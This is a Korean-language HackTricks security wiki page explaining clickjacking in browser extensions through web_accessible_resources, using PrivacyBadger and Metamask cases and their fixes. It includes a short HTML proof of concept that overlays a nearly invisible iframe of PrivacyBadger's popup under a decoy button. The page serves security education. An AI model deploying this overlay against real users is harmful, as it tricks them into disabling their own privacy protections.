6.7 KiB
BrowExt - 클릭재킹
htARTE (HackTricks AWS Red Team Expert)을 통해 **제로부터 영웅까지 AWS 해킹 배우기**!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하고 싶다면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm을 팔로우하세요.
- HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
이 페이지는 브라우저 확장 프로그램의 클릭재킹 취약점을 악용할 것입니다.
클릭재킹이 무엇인지 모르는 경우:
{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}
확장 프로그램에는 manifest.json
파일이 포함되어 있으며 해당 JSON 파일에는 web_accessible_resources
필드가 있습니다. Chrome 문서에 따르면 다음과 같습니다:
이러한 리소스는
chrome-extension://[PACKAGE ID]/[PATH]
URL을 통해 웹페이지에서 사용할 수 있으며, 이는 **extension.getURL 메서드
**를 사용하여 생성할 수 있습니다. 화이트리스트에 등록된 리소스는 적절한 CORS 헤더가 포함된 상태로 제공되므로 XHR과 같은 메커니즘을 통해 사용할 수 있습니다.1
브라우저 확장 프로그램의 **web_accessible_resources
**는 웹을 통해만 접근할 수 있는 것이 아니라 확장 프로그램의 고유한 권한과 함께 작동합니다. 이는 다음과 같은 기능을 수행할 수 있음을 의미합니다:
- 확장 프로그램의 상태 변경
- 추가 리소스 로드
- 브라우저와 일부 상호 작용
그러나 이 기능은 보안 위험을 야기합니다. web_accessible_resources
내의 리소스에 중요한 기능이 있는 경우, 공격자는 이 리소스를 외부 웹 페이지에 임베드할 수 있습니다. 이 페이지를 방문하는 의심스럽지 않은 사용자는 이 임베드된 리소스를 부적절하게 활성화할 수 있습니다. 이러한 활성화는 확장 프로그램 리소스의 권한과 기능에 따라 의도하지 않은 결과로 이어질 수 있습니다.
PrivacyBadger 예시
확장 프로그램 PrivacyBadger에서는 skin/
디렉토리가 다음과 같이 web_accessible_resources
로 선언된 취약점이 식별되었습니다(원본 블로그 게시물 참조):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
이 구성은 잠재적인 보안 문제로 이어졌습니다. 구체적으로 브라우저에서 PrivacyBadger 아이콘과 상호 작용할 때 렌더링되는 skin/popup.html
파일이 iframe
내에 임베드될 수 있습니다. 이 임베딩은 사용자를 속여 "이 웹사이트의 PrivacyBadger 비활성화"를 우연히 클릭하도록 유도할 수 있습니다. 이러한 조치는 PrivacyBadger 보호를 비활성화하고 사용자를 증가된 추적에 노출시킴으로써 사용자의 개인 정보를 침해할 수 있습니다. 이 취약점의 시각적인 시연은 https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm에서 제공된 ClickJacking 비디오 예제에서 확인할 수 있습니다.
이 취약점을 해결하기 위해 간단한 해결책이 구현되었습니다: web_accessible_resources
목록에서 /skin/*
를 제거하는 것입니다. 이 변경으로 인해 skin/
디렉토리의 내용이 웹 접근 가능 리소스를 통해 액세스되거나 조작될 수 없도록 위험을 효과적으로 완화했습니다.
수정 방법은 간단합니다: web_accessible_resources
에서 /skin/*
를 제거합니다.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamask 예시
Metamask에서의 ClickJacking에 대한 블로그 포스트는 여기에서 찾을 수 있습니다. 이 경우 Metamask는 취약점을 수정하여 액세스에 사용된 프로토콜이 https:
또는 http:
(예: **chrome:
**가 아님)인지 확인함으로써 취약점을 해결했습니다:
Metamask 확장 프로그램에서 다른 ClickJacking이 수정된 예는 사용자가 의심스러운 페이지를 클릭하여 화이트리스트에 추가할 수 있었던 것입니다. 이는 “web_accessible_resources”: [“inpage.js”, “phishing.html”]
때문에 피싱으로 의심되는 페이지가 취약점을 가지고 있었기 때문입니다. 이 페이지는 Clickjacking에 취약했기 때문에 공격자는 희생자가 주의를 기울이지 않고 화이트리스트에 추가하도록 유도할 수 있었고, 그 후에 피싱 페이지로 돌아가 화이트리스트에 추가될 수 있었습니다.
Steam Inventory Helper 예시
브라우저 확장 프로그램에서의 XSS가 ClickJacking 취약점과 연계된 방법을 확인하려면 다음 페이지를 확인하세요:
{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}